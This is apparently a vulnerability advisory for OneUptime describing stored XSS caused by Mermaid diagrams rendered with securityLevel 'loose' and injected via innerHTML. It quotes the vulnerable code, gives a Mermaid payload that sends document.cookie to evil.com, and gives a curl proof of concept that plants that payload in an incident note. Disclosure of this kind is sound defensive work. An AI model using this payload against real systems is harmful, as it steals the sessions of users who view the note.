OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")

Summary

The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.

Details

Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:

// MarkdownViewer.tsx:76
mermaid.initialize({
    securityLevel: "loose",  // Allows interactive event bindings
    // ...
});

The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.

SVG injection via innerHTML — MarkdownViewer.tsx:106:

// MarkdownViewer.tsx:106
if (containerRef.current) {
    containerRef.current.innerHTML = svg;  // Raw SVG injection
}

After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.

Mermaid XSS payload:

```mermaid
graph TD
    A["Click me"]
    click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```​

With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.

PoC

# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"password123"}' \
  | jq -r '.token')

# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "data": {
      "incidentId": "INCIDENT_ID",
      "note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n    A[\"Load Balancer\"] --> B[\"App Server\"]\n    click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
      "noteType": "RootCause"
    }
  }'

# Any user viewing this incident note will have their cookies exfiltrated